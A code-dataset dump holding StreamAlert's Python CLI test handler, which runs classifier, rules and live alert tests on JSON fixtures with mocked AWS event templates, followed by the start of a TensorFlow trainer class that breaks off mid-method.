"file_ext": "py", "file_size_in_byte": 782, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 9, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.send_from_directory", "line_number": 19, "usage_type": "call"}, {"api_name": "backend.apis.character.app", "line_number": 23, "usage_type": "attribute"}, {"api_name": "backend.apis.character", "line_number": 23, "usage_type": "name"}, {"api_name": "backend.apis.photo.app", "line_number": 24, "usage_type": "attribute"}, {"api_name": "backend.apis.photo", "line_number": 24, "usage_type": "name"}, {"api_name": "backend.apis.voice.app", "line_number": 25, "usage_type": "attribute"}, {"api_name": "backend.apis.voice", "line_number": 25, "usage_type": "name"}]} {"seq_id": "151351801", "text": "\"\"\"\nCopyright 2017-present Airbnb, Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport base64\nfrom collections import defaultdict\nimport json\nimport os\nimport re\nimport time\nimport zlib\n\nfrom mock import patch, MagicMock\n\nfrom streamalert.alert_processor import main as alert_processor\nfrom streamalert.alert_processor.helpers import compose_alert\nfrom streamalert.alert_processor.outputs.output_base import OutputDispatcher\nfrom streamalert.classifier import classifier\nfrom streamalert.classifier.parsers import ParserBase\nfrom streamalert.rules_engine import rules_engine\nfrom streamalert.shared import rule\nfrom streamalert.shared.logger import get_logger\nfrom streamalert.shared.stats import RuleStatisticTracker\nfrom streamalert.shared.lookup_tables.table import LookupTable\nfrom streamalert_cli.helpers import check_credentials\nfrom streamalert_cli.test import DEFAULT_TEST_FILES_DIRECTORY\nfrom streamalert_cli.test.format import format_green, format_red, format_underline, format_yellow\nfrom streamalert_cli.test.mocks import mock_lookup_table_results, mock_threat_intel_query_results\nfrom streamalert_cli.test.results import TestEventFile, TestResult\nfrom streamalert_cli.utils import CLICommand, generate_subparser, UniqueSetAction\n\nLOGGER = get_logger(__name__)\n\n\nclass TestCommand(CLICommand):\n description = 'Perform various integration/functional tests'\n\n @classmethod\n def setup_subparser(cls, subparser):\n \"\"\"Add the test subparser: manage.py test\"\"\"\n test_subparsers = subparser.add_subparsers(dest=\"test subcommand\", required=True)\n\n cls._setup_test_classifier_subparser(test_subparsers)\n cls._setup_test_rules_subparser(test_subparsers)\n cls._setup_test_live_subparser(test_subparsers)\n\n @classmethod\n def _setup_test_classifier_subparser(cls, subparsers):\n \"\"\"Add the test validation subparser: manage.py test classifier [options]\"\"\"\n test_validate_parser = generate_subparser(\n subparsers,\n 'classifier',\n description='Validate defined log schemas using integration test files',\n subcommand=True\n )\n\n cls._add_default_test_args(test_validate_parser)\n\n @classmethod\n def _setup_test_rules_subparser(cls, subparsers):\n \"\"\"Add the test rules subparser: manage.py test rules [options]\"\"\"\n test_rules_parser = generate_subparser(\n subparsers,\n 'rules',\n description='Test rules using integration test files',\n subcommand=True\n )\n\n # Flag to run additional stats during testing\n test_rules_parser.add_argument(\n '-s',\n '--stats',\n action='store_true',\n help='Enable outputing of statistical information on rules that run'\n )\n\n # Validate the provided repitition value\n def _validate_repitition(val):\n \"\"\"Make sure the input is between 1 and 1000\"\"\"\n err = ('Invalid repitition value [{}]. Must be an integer between 1 '\n 'and 1000').format(val)\n try:\n count = int(val)\n except TypeError:\n raise test_rules_parser.error(err)\n\n if not 1 <= count <= 1000:\n raise test_rules_parser.error(err)\n\n return count\n\n # flag to run these tests a given number of times\n test_rules_parser.add_argument(\n '-n',\n '--repeat',\n default=1,\n type=_validate_repitition,\n help='Number of times to repeat the tests, to be used as a form performance testing'\n )\n\n cls._add_default_test_args(test_rules_parser)\n\n @classmethod\n def _setup_test_live_subparser(cls, subparsers):\n \"\"\"Add the test live subparser: manage.py test live [options]\"\"\"\n test_live_parser = generate_subparser(\n subparsers,\n 'live',\n description=(\n 'Run end-to-end tests that will attempt to send alerts to each rule\\'s outputs'\n ),\n subcommand=True\n )\n\n cls._add_default_test_args(test_live_parser)\n\n @staticmethod\n def _add_default_test_args(test_parser):\n \"\"\"Add the default arguments to the test parsers\"\"\"\n test_filter_group = test_parser.add_mutually_exclusive_group(required=False)\n\n # add the optional ability to test against a rule/set of rules\n test_filter_group.add_argument(\n '-f',\n '--test-files',\n dest='files',\n metavar='FILENAMES',\n nargs='+',\n help='One or more file to test, separated by spaces',\n action=UniqueSetAction,\n default=set()\n )\n\n # add the optional ability to test against a rule/set of rules\n test_filter_group.add_argument(\n '-r',\n '--test-rules',\n dest='rules',\n nargs='+',\n help='One or more rule to test, separated by spaces',\n action=UniqueSetAction,\n default=set()\n )\n\n # add the optional ability to change the test files directory\n test_parser.add_argument(\n '-d',\n '--files-dir',\n help='Path to directory containing test files',\n default=DEFAULT_TEST_FILES_DIRECTORY\n )\n\n # Add the optional ability to log verbosely or use quite logging for tests\n verbose_group = test_parser.add_mutually_exclusive_group(required=False)\n\n verbose_group.add_argument(\n '-v',\n '--verbose',\n action='store_true',\n help='Output additional information during testing'\n )\n\n verbose_group.add_argument(\n '-q',\n '--quiet',\n action='store_true',\n help='Suppress output for passing tests, only logging if there is a failure'\n )\n\n @classmethod\n def handler(cls, options, config):\n \"\"\"Handler for starting the test framework\n\n Args:\n options (argparse.Namespace): Parsed arguments\n config (CLIConfig): Loaded StreamAlert config\n\n Returns:\n bool: False if errors occurred, True otherwise\n \"\"\"\n result = True\n opts = vars(options)\n repeat = opts.get('repeat', 1)\n for i in range(repeat):\n if repeat != 1:\n print('\\nRepetition #', i+1)\n result = result and TestRunner(options, config).run()\n\n if opts.get('stats'):\n print(RuleStatisticTracker.statistics_info())\n return result\n\n\nclass TestRunner:\n \"\"\"TestRunner to handle running various tests\"\"\"\n\n class Types:\n \"\"\"Simple types enum for test types\"\"\"\n CLASSIFY = 'classifier'\n RULES = 'rules'\n LIVE = 'live'\n\n def __init__(self, options, config):\n self._config = config\n self._options = options\n self._type = options.subcommand\n self._files = options.files\n self._rules = options.rules\n self._files_dir = os.path.join(options.files_dir, '') # ensure theres a trailing slash\n self._verbose = options.verbose\n self._quiet = options.quiet\n self._s3_mocker = patch('streamalert.classifier.payload.s3.boto3.resource').start()\n self._errors = defaultdict(list) # cache errors to be logged at the endpoint\n self._tested_rules = set()\n self._threat_intel_mock = mock_threat_intel_query_results()\n self._lookup_tables_mock = mock_lookup_table_results()\n self._passed = 0\n self._failed = 0\n prefix = self._config['global']['account']['prefix']\n env = {\n 'CLUSTER': 'prod',\n 'STREAMALERT_PREFIX': prefix,\n 'AWS_ACCOUNT_ID': self._config['global']['account']['aws_account_id'],\n 'ALERTS_TABLE': '{}_streamalert_alerts'.format(prefix),\n }\n\n if 'stats' in options and options.stats:\n env['STREAMALERT_TRACK_RULE_STATS'] = '1'\n\n patch.dict(\n os.environ,\n env\n ).start()\n\n @staticmethod\n def _run_classification(record):\n \"\"\"Create a fresh classifier and classify the record, returning the result\"\"\"\n with patch.object(classifier, 'SQSClient'), patch.object(classifier, 'FirehoseClient'):\n _classifier = classifier.Classifier()\n return _classifier.run(records=[record])\n\n def _run_rules_engine(self, record):\n \"\"\"Create a fresh rules engine and process the record, returning the result\"\"\"\n with patch.object(rules_engine.ThreatIntel, '_query') as ti_mock, \\\n patch.object(rules_engine, 'AlertForwarder'), \\\n patch.object(rules_engine, 'RuleTable') as rule_table, \\\n patch('rules.helpers.base.random_bool', return_value=True):\n\n # Emptying out the rule table will force all rules to be unstaged, which causes\n # non-required outputs to get properly populated on the Alerts that are generated\n # when running the Rules Engine.\n rule_table.return_value = False\n ti_mock.side_effect = self._threat_intel_mock\n\n _rules_engine = rules_engine.RulesEngine()\n\n self._install_lookup_tables_mocks(_rules_engine)\n\n return _rules_engine.run(records=record)\n\n def _install_lookup_tables_mocks(self, rules_engine_instance):\n \"\"\"\n Extremely gnarly, extremely questionable manner to install mocking data into our tables.\n The reason this exists at all is to support the secret features of table scanning S3-backed\n tables, which isn't a \"normally\" available feature but is required for some pre-existing\n StreamAlert users.\n \"\"\"\n from streamalert.shared.lookup_tables.drivers import EphemeralDriver\n\n dummy_configuration = {}\n mock_data = self._lookup_tables_mock\n\n # pylint: disable=protected-access\n for table_name in rules_engine_instance._lookup_tables._tables.keys():\n driver = EphemeralDriver(dummy_configuration)\n driver._cache = mock_data.get(table_name, {})\n ephemeral_table = LookupTable(table_name, driver, dummy_configuration)\n\n rules_engine_instance._lookup_tables._tables[table_name] = ephemeral_table\n\n @staticmethod\n def _run_alerting(record):\n \"\"\"Create a fresh alerts processor and send the alert(s), returning the result\"\"\"\n with patch.object(alert_processor, 'AlertTable'):\n alert_proc = alert_processor.AlertProcessor()\n\n return alert_proc.run(event=record.dynamo_record())\n\n def _check_prereqs(self):\n if self._type == self.Types.LIVE:\n return check_credentials()\n\n return True\n\n def _finalize(self):\n summary = [\n format_underline('\\nSummary:\\n'),\n 'Total Tests: {}'.format(self._passed + self._failed),\n format_green('Pass: {}'.format(self._passed)) if self._passed else 'Pass: 0',\n format_red('Fail: {}\\n'.format(self._failed)) if self._failed else 'Fail: 0\\n',\n ]\n\n print('\\n'.join(summary))\n\n for path in sorted(self._errors):\n for error in self._errors[path]:\n message = '({}) {}'.format(path, error) if path != 'error' else error\n LOGGER.error(message)\n\n # If rule are being tested and no filtering is being performed, log any untested rules\n if self._testing_rules and not self._is_filtered:\n all_rules = set(rule.Rule.rule_names()) - rule.Rule.disabled_rules()\n untested_rules = sorted(all_rules.difference(self._tested_rules))\n if not untested_rules:\n return\n print(format_yellow('No test events configured for the following rules:'))\n for rule_name in untested_rules:\n print(format_yellow(rule_name))\n\n @property\n def _is_filtered(self):\n return bool(self._files or self._rules)\n\n @property\n def _testing_rules(self):\n return self._type in {self.Types.RULES, self.Types.LIVE}\n\n def _contains_filtered_rules(self, event):\n if not self._rules:\n return True\n\n expected_rules = set(event.get('trigger_rules', [])) - rule.Rule.disabled_rules()\n return bool(expected_rules.intersection(self._rules))\n\n def run(self):\n \"\"\"Run the tests\"\"\"\n if not self._check_prereqs():\n return\n\n print('\\nRunning tests for files found in: {}'.format(self._files_dir))\n\n\n for event_file in self._get_test_files():\n test_event = TestEventFile(event_file.replace(self._files_dir, ''))\n # Iterate over the individual test events in the file\n for idx, original_event, event in self._load_test_file(event_file):\n if not event:\n continue\n\n if not self._contains_filtered_rules(original_event):\n continue\n\n resource = original_event['source']\n\n for cluster_name, cluster_value in self._config['clusters'].items():\n for service in cluster_value['data_sources'].values():\n if resource in service:\n os.environ['CLUSTER'] = cluster_name\n break\n\n classifier_result = self._run_classification(event)\n\n test_result = TestResult(\n idx,\n original_event,\n classifier_result[0] if classifier_result else False,\n with_rules=self._testing_rules,\n verbose=self._verbose\n )\n\n test_event.add_result(test_result)\n\n self._tested_rules.update(test_result.expected_rules)\n\n if not test_result:\n continue\n\n if original_event.get('validate_schema_only'):\n continue # Do not run rules on events that are only for validation\n\n if self._type in {self.Types.RULES, self.Types.LIVE}:\n alerts = self._run_rules_engine(classifier_result[0].sqs_messages)\n test_result.alerts = alerts\n\n if not original_event.get('skip_publishers'):\n for alert in alerts:\n publication_results = self._run_publishers(alert)\n test_result.set_publication_results(publication_results)\n\n if self._type == self.Types.LIVE:\n for alert in alerts:\n alert_result = self._run_alerting(alert)\n test_result.add_live_test_result(alert.rule_name, alert_result)\n\n self._passed += test_event.passed\n self._failed += test_event.failed\n\n # It is possible for a test_event to have no results,\n # so only print it if it does and if quiet mode is no being used\n # Quite mode is overridden if not all of the events passed\n if test_event and not (self._quiet and test_event.all_passed):\n print(test_event)\n\n self._finalize()\n\n return self._failed == 0\n\n @staticmethod\n def _run_publishers(alert):\n \"\"\"Runs publishers for all currently configured outputs on the given alert\n\n Args:\n - alert (Alert): The alert\n\n Returns:\n dict: A dict keyed by output:descriptor strings, mapped to nested dicts.\n The nested dicts have 2 keys:\n - publication (dict): The dict publication\n - success (bool): True if the publishing finished, False if it errored.\n \"\"\"\n configured_outputs = alert.outputs\n\n results = {}\n for configured_output in configured_outputs:\n [output_name, descriptor] = configured_output.split(':')\n\n try:\n output = MagicMock(spec=OutputDispatcher, __service__=output_name)\n results[configured_output] = {\n 'publication': compose_alert(alert, output, descriptor),\n 'success': True,\n }\n except (RuntimeError, TypeError, NameError) as err:\n results[configured_output] = {\n 'success': False,\n 'error': err,\n }\n return results\n\n def _get_test_files(self):\n \"\"\"Helper to get rule files to be tested\n\n Yields:\n str: Path to test event file\n \"\"\"\n files_filter = {\n os.path.splitext(name)[0] for name in self._files\n } if self._files else set()\n\n filtered = bool(files_filter)\n for root, _, test_event_files in os.walk(self._files_dir):\n for event_file in sorted(test_event_files):\n basename = os.path.splitext(event_file)[0]\n full_path = os.path.join(root, event_file)\n if not filtered or basename in files_filter:\n yield full_path\n if filtered:\n files_filter.remove(basename) # Remove this from the filter\n\n # Log any errors for filtered items that do not exist\n for basename in files_filter:\n self._append_error('No test event file found with base name \\'{}\\''.format(basename))\n\n def _setup_s3_mock(self, data):\n self._s3_mocker.return_value.Bucket.return_value.download_fileobj = (\n lambda k, d: d.write(json.dumps(data).encode())\n )\n\n def _append_error(self, error, path=None, idx=None):\n key = 'error'\n if path:\n key = os.path.split(path)[1]\n key = key if not idx else '{}:{}'.format(key, idx)\n self._errors[key].append(error)\n\n def _load_test_file(self, path):\n \"\"\"Helper to json load the contents of a file with some error handling\n\n Test files should be formatted as:\n\n [\n {\n \"data\": {},\n \"description\": \"...\",\n \"...\": \"...\"\n }\n ]\n\n Args:\n path (str): Relative path to file on disk\n\n Returns:\n dict: Loaded JSON from test event file\n \"\"\"\n with open(path, 'r') as test_event_file:\n try:\n data = json.load(test_event_file)\n except (ValueError, TypeError):\n self._append_error('Test event file is not valid JSON', path=path)\n return\n\n if not isinstance(data, list):\n self._append_error('Test event file is improperly formatted', path=path)\n return\n\n for idx, event in enumerate(data):\n valid, record = self._format_test_record(event)\n if not valid:\n self._append_error(record, path=path, idx=idx)\n continue\n yield idx, event, record\n\n def _format_test_record(self, test_event):\n \"\"\"Create a properly formatted Kinesis, S3, or SNS record.\n\n Supports a dictionary or string based data record. Reads in\n event templates from the tests/integration/templates folder.\n\n Args:\n test_event (dict): Test event metadata dict with the following structure:\n data|override_record - string or dict of the raw data\n description - a string describing the test that is being performed\n trigger - bool of if the record should produce an alert\n source - which stream/s3 bucket originated the data\n service - which aws service originated the data\n compress (optional) - if the payload needs to be gzip compressed or not\n\n Returns:\n dict: in the format of the specific service\n \"\"\"\n valid, error = self._validate_test_event(test_event)\n if not valid:\n return False, error\n\n self._apply_helpers(test_event)\n self._apply_defaults(test_event)\n\n data = test_event['data']\n if isinstance(data, dict):\n data = json.dumps(data)\n elif not isinstance(data, str):\n return False, 'Invalid data type: {}'.format(type(data))\n\n if test_event['service'] not in {'s3', 'kinesis', 'sns', 'streamalert_app'}:\n return False, 'Unsupported service: {}'.format(test_event['service'])\n\n # Get a formatted record for this particular service\n return True, self._apply_service_template(\n test_event['service'],\n test_event['source'],\n data,\n test_event.get('compress', False)\n )\n\n def _apply_service_template(self, service, source, data, compress=False):\n \"\"\"Provides a pre-configured template that reflects incoming payload from a service\n\n Args:\n service (str): The service for the payload template\n\n Returns:\n dict: Template of the payload for the given service\n \"\"\"\n if service == 's3':\n # Assign the s3 mock for this data\n self._setup_s3_mock(data)\n return {\n 'eventVersion': '2.0',\n 'eventTime': '1970-01-01T00:00:00.000Z',\n 'requestParameters': {\n 'sourceIPAddress': '127.0.0.1'\n },\n 's3': {\n 'configurationId': ',,,',\n 'object': {\n 'eTag': '...',\n 'sequencer': '...',\n 'key': 'test_object_key',\n 'size': len(data)\n },\n 'bucket': {\n 'arn': 'arn:aws:s3:::{}'.format(source),\n 'name': source,\n 'ownerIdentity': {\n 'principalId': 'EXAMPLE'\n }\n },\n 's3SchemaVersion': '1.0'\n },\n 'responseElements': {\n 'x-amz-id-2': (\n 'EXAMPLE123/foo/bar'\n ),\n 'x-amz-request-id': '...'\n },\n 'awsRegion': 'us-east-1',\n 'eventName': 'ObjectCreated:Put',\n 'userIdentity': {\n 'principalId': 'EXAMPLE'\n },\n 'eventSource': 'aws:s3'\n }\n\n if service == 'kinesis':\n if compress:\n data = zlib.compress(data)\n\n kinesis_data = base64.b64encode(data.encode())\n\n return {\n 'eventID': '...',\n 'eventVersion': '1.0',\n 'kinesis': {\n 'approximateArrivalTimestamp': 1428537600,\n 'partitionKey': 'partitionKey-3',\n 'data': kinesis_data,\n 'kinesisSchemaVersion': '1.0',\n 'sequenceNumber': ',,,'\n },\n 'invokeIdentityArn': 'arn:aws:iam::EXAMPLE',\n 'eventName': 'aws:kinesis:record',\n 'eventSourceARN': 'arn:aws:kinesis:us-east-1:123456789012:stream/{}'.format(\n source\n ),\n 'eventSource': 'aws:kinesis',\n 'awsRegion': 'us-east-1'\n }\n\n if service == 'sns':\n return {\n 'EventVersion': '1.0',\n 'EventSubscriptionArn': 'arn:aws:sns:us-east-1:123456789012:{}'.format(source),\n 'EventSource': 'aws:sns',\n 'Sns': {\n 'SignatureVersion': '1',\n 'Timestamp': '1970-01-01T00:00:00.000Z',\n 'Signature': 'EXAMPLE',\n 'SigningCertUrl': 'EXAMPLE',\n 'MessageId': '95df01b4-ee98-5cb9-9903-4c221d41eb5e',\n 'Message': data,\n 'MessageAttributes': {\n 'Test': {\n 'Type': 'String',\n 'Value': 'TestString'\n }\n },\n 'Type': 'Notification',\n 'UnsubscribeUrl': '...',\n 'TopicArn': 'arn:aws:sns:us-east-1:123456789012:{}'.format(source),\n 'Subject': '...'\n }\n }\n\n if service == 'streamalert_app':\n return {'streamalert_app': source, 'logs': [data]}\n\n @staticmethod\n def _validate_test_event(test_event):\n \"\"\"Check if the test event contains the required keys\n\n Args:\n test_event (dict): The loaded test event from json\n\n Returns:\n bool: True if the proper keys are present\n \"\"\"\n required_keys = {'description', 'log', 'service', 'source'}\n\n test_event_keys = set(test_event)\n if not required_keys.issubset(test_event_keys):\n req_key_diff = required_keys.difference(test_event_keys)\n missing_keys = ', '.join('\\'{}\\''.format(key) for key in req_key_diff)\n return False, 'Missing required key(s) in test event: {}'.format(missing_keys)\n\n acceptable_data_keys = {'data', 'override_record'}\n if not test_event_keys & acceptable_data_keys:\n return False, 'Test event must contain either \\'data\\' or \\'override_record\\''\n\n optional_keys = {'compress', 'trigger_rules', 'validate_schema_only'}\n\n key_diff = test_event_keys.difference(required_keys | optional_keys | acceptable_data_keys)\n\n # Log a warning if there are extra keys declared in the test log\n if key_diff:\n extra_keys = ', '.join('\\'{}\\''.format(key) for key in key_diff)\n LOGGER.warning('Additional unnecessary keys in test event: %s', extra_keys)\n\n return True, None\n\n def _apply_defaults(self, test_event):\n \"\"\"Apply default values to the given test event\n\n Args:\n test_event (dict): The loaded test event\n \"\"\"\n if 'override_record' not in test_event:\n return\n\n event_log = self._config['logs'].get(test_event['log'])\n\n configuration = event_log.get('configuration', {})\n schema = configuration.get('envelope_keys', event_log['schema'])\n\n # Add apply default values based on the declared schema\n default_test_event = {\n key: ParserBase.default_optional_values(value)\n for key, value in schema.items()\n }\n\n # Overwrite the fields included in the 'override_record' field,\n # and update the test event with a full 'data' key\n default_test_event.update(test_event['override_record'])\n test_event['data'] = default_test_event\n\n @staticmethod\n def _apply_helpers(test_record):\n \"\"\"Detect and apply helper functions to test event data\n\n Helpers are declared in test fixtures via the following keyword:\n \"<helpers:helper_name>\"\n\n Supported helper functions:\n last_hour: return the current epoch time minus 60 seconds to pass the\n last_hour rule helper.\n\n Args:\n test_record (dict): loaded fixture file JSON as a dict.\n \"\"\"\n # declare all helper functions here, they should always return a string\n record_helpers = {\n 'last_hour': lambda: str(int(time.time()) - 60)\n }\n helper_regex = re.compile(r'<helper:(?P<helper>\\w+)>')\n\n def _find_and_apply_helpers(test_record):\n \"\"\"Apply any helpers to the passed in test_record\"\"\"\n for key, value in test_record.items():\n if isinstance(value, str):\n test_record[key] = re.sub(\n helper_regex,\n lambda match: record_helpers[match.group('helper')](),\n value\n )\n elif isinstance(value, dict):\n _find_and_apply_helpers(test_record[key])\n\n _find_and_apply_helpers(test_record)\n", "sub_path": "streamalert_cli/test/handler.py", "file_name": "handler.py", "file_ext": "py", "file_size_in_byte": 28649, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "streamalert.shared.logger.get_logger", "line_number": 43, "usage_type": "call"}, {"api_name": "streamalert_cli.utils.CLICommand", "line_number": 46, "usage_type": "name"}, {"api_name": "streamalert_cli.utils.generate_subparser", "line_number": 61, "usage_type": "call"}, {"api_name": "streamalert_cli.utils.generate_subparser", "line_number": 73, "usage_type": "call"}, {"api_name": "streamalert_cli.utils.generate_subparser", "line_number": 117, "usage_type": "call"}, {"api_name": "streamalert_cli.utils.UniqueSetAction", "line_number": 141, "usage_type": "name"}, {"api_name": "streamalert_cli.utils.UniqueSetAction", "line_number": 152, "usage_type": "name"}, {"api_name": "streamalert_cli.test.DEFAULT_TEST_FILES_DIRECTORY", "line_number": 161, "usage_type": "name"}, {"api_name": "streamalert.shared.stats.RuleStatisticTracker.statistics_info", "line_number": 201, "usage_type": "call"}, {"api_name": "streamalert.shared.stats.RuleStatisticTracker", "line_number": 201, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 220, "usage_type": "call"}, {"api_name": "os.path", "line_number": 220, "usage_type": "attribute"}, {"api_name": "mock.patch", "line_number": 223, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 224, "usage_type": "call"}, {"api_name": "streamalert_cli.test.mocks.mock_threat_intel_query_results", "line_number": 226, "usage_type": "call"}, {"api_name": "streamalert_cli.test.mocks.mock_lookup_table_results", "line_number": 227, "usage_type": "call"}, {"api_name": "mock.patch.dict", "line_number": 241, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 241, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 242, "usage_type": "attribute"}, {"api_name": "mock.patch.object", "line_number": 249, "usage_type": "call"}, {"api_name": "streamalert.classifier.classifier", "line_number": 249, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 249, "usage_type": "name"}, {"api_name": "streamalert.classifier.classifier.Classifier", "line_number": 250, "usage_type": "call"}, {"api_name": "streamalert.classifier.classifier", "line_number": 250, "usage_type": "name"}, {"api_name": "mock.patch.object", "line_number": 255, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 255, "usage_type": "name"}, {"api_name": "streamalert.rules_engine.rules_engine.ThreatIntel", "line_number": 255, "usage_type": "attribute"}, {"api_name": "streamalert.rules_engine.rules_engine", "line_number": 255, "usage_type": "name"}, {"api_name": "mock.patch.object", "line_number": 256, "usage_type": "call"}, {"api_name": "streamalert.rules_engine.rules_engine", "line_number": 256, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 256, "usage_type": "name"}, {"api_name": "mock.patch.object", "line_number": 257, "usage_type": "call"}, {"api_name": "streamalert.rules_engine.rules_engine", "line_number": 257, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 257, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 258, "usage_type": "call"}, {"api_name": "streamalert.rules_engine.rules_engine.RulesEngine", "line_number": 266, "usage_type": "call"}, {"api_name": "streamalert.rules_engine.rules_engine", "line_number": 266, "usage_type": "name"}, {"api_name": "streamalert.shared.lookup_tables.drivers.EphemeralDriver", "line_number": 286, "usage_type": "call"}, {"api_name": "streamalert.shared.lookup_tables.table.LookupTable", "line_number": 288, "usage_type": "call"}, {"api_name": "mock.patch.object", "line_number": 295, "usage_type": "call"}, {"api_name": "streamalert.alert_processor.main", "line_number": 295, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 295, "usage_type": "name"}, {"api_name": "streamalert.alert_processor.main.AlertProcessor", "line_number": 296, "usage_type": "call"}, {"api_name": "streamalert.alert_processor.main", "line_number": 296, "usage_type": "name"}, {"api_name": "streamalert_cli.helpers.check_credentials", "line_number": 302, "usage_type": "call"}, {"api_name": "streamalert_cli.test.format.format_underline", "line_number": 308, "usage_type": "call"}, {"api_name": "streamalert_cli.test.format.format_green", "line_number": 310, "usage_type": "call"}, {"api_name": "streamalert_cli.test.format.format_red", "line_number": 311, "usage_type": "call"}, {"api_name": "streamalert.shared.rule.Rule.rule_names", "line_number": 323, "usage_type": "call"}, {"api_name": "streamalert.shared.rule.Rule", "line_number": 323, "usage_type": "attribute"}, {"api_name": "streamalert.shared.rule", "line_number": 323, "usage_type": "name"}, {"api_name": "streamalert.shared.rule.Rule.disabled_rules", "line_number": 323, "usage_type": "call"}, {"api_name": "streamalert_cli.test.format.format_yellow", "line_number": 327, "usage_type": "call"}, {"api_name": "streamalert_cli.test.format.format_yellow", "line_number": 329, "usage_type": "call"}, {"api_name": "streamalert.shared.rule.Rule.disabled_rules", "line_number": 343, "usage_type": "call"}, {"api_name": "streamalert.shared.rule.Rule", "line_number": 343, "usage_type": "attribute"}, {"api_name": "streamalert.shared.rule", "line_number": 343, "usage_type": "name"}, {"api_name": "streamalert_cli.test.results.TestEventFile", "line_number": 355, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 369, "usage_type": "attribute"}, {"api_name": "streamalert_cli.test.results.TestResult", "line_number": 374, "usage_type": "call"}, {"api_name": "mock.MagicMock", "line_number": 439, "usage_type": "call"}, {"api_name": "streamalert.alert_processor.outputs.output_base.OutputDispatcher", "line_number": 439, "usage_type": "name"}, {"api_name": "streamalert.alert_processor.helpers.compose_alert", "line_number": 441, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 458, "usage_type": "call"}, {"api_name": "os.path", "line_number": 458, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 462, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 464, "usage_type": "call"}, {"api_name": "os.path", "line_number": 464, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 465, "usage_type": "call"}, {"api_name": "os.path", "line_number": 465, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 477, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 483, "usage_type": "call"}, {"api_name": "os.path", "line_number": 483, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 508, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 551, "usage_type": "call"}, {"api_name": "zlib.compress", "line_number": 617, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 619, "usage_type": "call"}, {"api_name": "streamalert.classifier.parsers.ParserBase.default_optional_values", "line_number": 717, "usage_type": "call"}, {"api_name": "streamalert.classifier.parsers.ParserBase", "line_number": 717, "usage_type": "name"}, {"api_name": "time.time", "line_number": 742, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 744, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 750, "usage_type": "call"}]} {"seq_id": "129596098", "text": "import os, sys\nimport tensorflow as tf\nfrom utility import Utils\nfrom dataset import Dataset\nfrom collections import OrderedDict\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom hook import SavedModelBuilderHook, MyLoggerHook\n\nclass NCP_Trainer():\n def __init__(self,\n FLAGS,\n message,\n data,\n model,\n name):\n self.checkpoints_to_keep = FLAGS.checkpoints_to_keep\n self.keep_checkpoint_every_n_hours = FLAGS.keep_checkpoint_every_n_hours\n self.max_steps = FLAGS.n_epoch\n self.save_checkpoint_steps = self.max_steps / 10 if FLAGS.save_checkpoint_steps is None else FLAGS.save_checkpoint_steps\n self.aug = FLAGS.aug if hasattr(FLAGS, 'aug') and FLAGS.aug != \"None\" else None\n self.batch_size = FLAGS.batch_size\n self.name = name\n self.message = message\n self.data = data\n self.global_step = tf.train.get_or_create_global_step()\n self.model = model\n self.restore_dir = FLAGS.init_model\n self.util = Utils(prefix=self.name)\n\n def load(self):\n # Load Dataset\n self.train_x = tf.placeholder(tf.float32, [None, self.data.x_train.shape[1]], name='train_x')\n self.train_y = tf.placeholder(tf.float32, [None, 1], name='train_y')\n\n self.valid_x = tf.placeholder(tf.float32, [None, self.data.x_valid.shape[1]], name='valid_x')\n self.valid_y = tf.placeholder(tf.float32, [None, 1], name='valid_y')\n\n self.num_data = self.data.x_train.shape[0]\n self.num_valid_data = self.data.x_valid.shape[0]\n \n return self.train_x, self.train_y, self.valid_x, self.valid_y\n \n def build_logits(self, train_data, train_ans, valid_data, valid_ans):\n # train\n self.train_logits = self.model.inference(train_data)\n self.train_loss = self.model.loss(self.train_logits, train_ans, self.data.regression)\n opt_op = self.model.optimize(self.train_loss, self.global_step)\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n self.train_op = tf.group([opt_op] + update_ops)\n self.train_accuracy = self.model.evaluate(self.train_logits, train_ans)\n\n # test\n self.test_logits = self.model.inference(valid_data)\n self.test_loss = self.model.loss(self.test_logits, valid_ans, self.data.regression)\n #self.predict = self.model.predict(valid_data)\n self.test_accuracy = self.model.evaluate(self.test_logits, valid_ans)\n\n return \n\n def hook_append(self, metrics, signature_def_map=None):\n \"\"\"\n hooksをまとめる関数\n \"\"\"\n hooks = []\n hooks.append(tf.train.NanTensorHook(self.train_loss))\n hooks.append(MyLoggerHook(self.message, self.util.log_dir, metrics, every_n_iter=100))\n hooks.append(SavedModelBuilderHook(self.util.saved_model_path, signature_def_map))\n return hooks\n\n def summary(self):\n \"\"\"\n tensorboardに表示するデータをまとめる関数\n \"\"\"\n 